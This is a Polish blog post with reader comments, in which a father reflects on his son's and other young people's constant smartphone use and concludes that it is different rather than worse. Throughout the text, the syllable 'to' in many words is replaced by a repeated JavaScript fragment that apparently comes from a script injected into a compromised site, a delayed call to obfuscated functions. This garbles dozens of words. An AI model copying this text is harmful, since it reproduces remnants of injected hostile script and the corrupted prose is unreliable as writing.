Drzwi windy cichutko zamknęły się. Patrzę na zegarek. 15.00. Zdążę jeszcze przed korkami wyjechać z trójmiasta. Winda zatrzymuje się i wsiada do niej trójka młodych ludzi. “Młodych” dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to znaczy w okolicach 30-tki. Chłopak i dwie dziewczyny. Nie patrzą na siebie ani na mnie. Patrzą w swoje telefony komórkowe. Jedna z dziewczyn wstukuje coś otipsowanym palcem. Jak ona daje radę wcisnąć literkę na tej wirtualnej klawiaturze? Jedziemy tak przez kilka sekund w zupełnej ciszy, no może poza tipsem stukającym w telefon. Oni wpatrzeni w telefony a ja myślący: “Co za czasy! Ludzie wolą gapić się w ekran a nie pogadać, czy nawet spojrzeć na drugiego człowieka. Robocopy porąbane!”
Oglądam z synami mecz w TV. Błyskotliwe komentarze Dariusza Szpakowskiego przerywane są co kilkanaście sekund buczeniem telefonu komórkowego Szymona. Oznacza dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że przyszedł do niego kolejny sms. Nie rozstaje się z telefonem nawet na chwilę. Telefon jest już częścią jego ciała. Można go usunąć tylko operacyjnie. Czy możesz wyłączyć te wibracje?! – pytam. – I tak ciągle coś do Ciebie przychodzi, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to po co Ci, kurczę, ten sygnał? Nic nie mówi.
Muszę przyznać szczerze – mam gdzieś tych ludzi z windy choć przyznaję, że w ich dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towarzystwie a raczej w “niedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towarzystwie”, czułem się dziwnie, bo zignorowano mnie kompletnie, na 4 metrach kwadradom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych. A jak można zignorować ponad 90 kg mięsa o wysokości 183 cm?! Ale jeszcze mniej komfordom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towo czuję się , gdy mój syn nie może przeżyć pół minuty bez swojego “Szajsunga”. Słychać tylko: Bzzz, bzzz, bzzz. A potem te szybkie paluszki na klawiaturze odpisują do: Krysi, Misi, Zdzisi, Tomka, Romka i Krzysia. Ja dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to traktuję, a właściwie trakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towałem do dziś, jako brak szacunku.
Co tam jest takiego atrakcyjnego, że wygrywa z rodzicami i Dariuszem Szpakowskim w TV? (akurat ze Szpakowskim nie jest trudno wygrać). Postanowiłem zapytać mojego syna. Ale przedtem przeprowadziłem rachunek sumienia.
Idę ZAWSZE spać z telefonem. Po pierwsze, chodzi o budzik. Po drugie, przed zaśnięciem prawie zawsze słucham nagrań audio – podcastów. Przy okazji, polecam Ci podcasty Michała Szafrańskiego z bloga Jak oszczędzać pieniądze. pl Po trzecie, jedną z pierwszych rzeczy jakie robię rano, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sprawdzenie, czy mam nowe smsy, maile, choć za niecałe 30 minut jestem przy lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topie. W ciągu dnia niezliczoną ilość razy zerkam na ekran, czy przyszło “coś nowego”. Gdy zapomnę telefonu z domu cały czas myślę, że kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś może zadzwonić w jakiejś ważnej sprawie. Strasznie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to niemiłe uczucie.
Potem pomyślałem, że być może dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “my na żywo” jesteśmy mniej atrakcyjni od tego świata w telefonie naszych dzieci.
– To nie o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to chodzi – mówi Szymon. – To są dwie różne rzeczy. Jeśli piszę smsy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie znaczy, że jesteście nudni, czy chcę okazać wam lekceważenie. Po prostu rozmawiam ze znajomymi. Tylko tyle.
Życie realne i świat smardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tona dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dwa równoległe byty w jakich żyją nasze dzieci
Zatem mamy tu pierwszą funkcję telefonu – KOMUNIKACJĘ. Jak się okazuje młodzi ludzie są tak wprawieni, że nie tracą koncentracji na głównym zajęciu czyli np. oglądaniu TV, graniu w planszówki, czy nawet odrabianiu lekcji!
A propos lekcji – kolejna funkcjonalność telefonu – INFORMACJA. – Teraz nie trzeba pożyczać zeszytu, gdy nie było się na lekcji albo nie zdążyło wszystkiego zapisać. Wystarczy, że kolega sfodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tografuje notatki i prześle do Ciebie – opowiada dalej Szymon. – Ostatnio na lekcji pani zapytała o nazwiska trzech pierwszych laureatów konkursu Chopinowskiego. Nikt nie wiedział. Po minucie odpowiedź znalazła się w… sieci.
Połączony z internetem telefon zastępuje komputer, tablet i łączy funkcje tych trzech urządzeń (no i jest najbardziej poręczny). Podczas nudnej podróży można pooglądać filmiki na You Tubie. Pograć w gry, czyli ROZRYWKA. Oczywiście zaraz kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś powie, że należałoby nawiązać rozmowę z sąsiadami w przedziale itp. A ten “kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś” nie pamięta jak sam wielokrotnie gapił się w okno podczas podróży? Ja czytałem książki – powie “kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś”. Teraz też można poczytać ebooki na telefonie albo posłuchać nagrań audio, znowu w telefonie.
Oni robią dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, co my 20-30 lat temu, tylko INACZEJ
Czy “kiedyś” więcej rozmawialiśmy, uśmiechaliśmy się do siebie? Błagam! W latach 70/80?! Gdy w kraju był syf. Gdy, kurczę, stało się po papier dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toaledom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towy i ziemniaki oraz ocet? Gdy nie można było wyjechać za granicę, po ulicach chodziły patrole Milicjantów a człowiek był nikim! I co, wtedy ludzie byli dla siebie bardziej życzliwi, uśmiechnięci? Jak słucham takich bzdur dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mi się telefon zawiesza…
A nawet jeśli kontakty między ludźmi zanikają TERAZ, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to czy przyczyną tego jest telefon? Kiedyś jadąc na Polibudę SKM-ką z Gdyni do Gdańska czytałem książkę albo gapiłem się w okno. Teraz młodzi gapią się w telefony. Czy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gorsze? Nie. Inne.
Jeśli masz taką misję, zagaduj wszystkich ludzi wpatrzonych w swoje telefony w audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobusie i tłumacz, ze powinni być bliżej drugiego człowieka. Działaj, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wolny kraj.
A skoro już mówimy o wolności. Czy wszyscy nie mamy prawa do takiego sposobu spędzania czasu jaki sprawia nam przyjemność? Dopóki wielbiciele telefonów nie robią krzywdy sobie albo innym, zostawmy ich w spokoju.
= = = = = = = = = = =
Aby lepiej zrozumieć młodsze pokolenia, czyli obecnych 20 i 30 latków a także ludzi nieco młodszych, zwane jako pokolenie Y (urodzeni w latach 1980-1995) oraz pokolenie Z (urodzeni po 1995 roku, czasem tę granice stawia się na 1999 roku) zachęcam do obejrzenia filmu Natalii Hatalskiej “Generacja Z”.
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Robert, jak zwykle piszesz interesujący tekst o banalnej sprawie. życie z telefonem komórkowym to normalka a pewnie w kolejnych latach będziemy z nim spędzać jeszcze więcej czasu. Nie ma co się nad tym rozwodzić ale fajnie, że próbujesz zrozumieć swoje dzieciaki 🙂
pozdrawiam!
@Tom,
z tymi komórkami to jest bardzo ciekawa i jak się okazuje poważna sprawa. Czytałem ostatnio wyniki badań, jakie przeprowadzono nad ludźmi, którzy korzystają z telefonów komórkowych. Chodziło o powiązanie sylwetki człowieka pracującego na małym urządzeniu takim jak: smartfon, tablet i komputer z jego, najogólniej mówiąc, poczuciem pewności siebie. I wiesz co się okazało??? Osoby korzystające z najmniejszego urządzenia czyli telefonu, najbardziej się garbiły 😉 a to z kolei powodowało u nich mniejszą pewność siebie, niższą samoocenę i mniejszą skłonność do podejmowania odważnych decyzji! Chcę na ten temat napisać jeden z kolejnych artykułów na blogu. A książkę w której znalazłem te informacje podam Ci już teraz “Wstań” autorstwa Amy Cuddy, wydawnictwo Znak.
pozdrawiam
to w takim razie czekam na ten tekst. zaintrygowałeś mnie! 🙂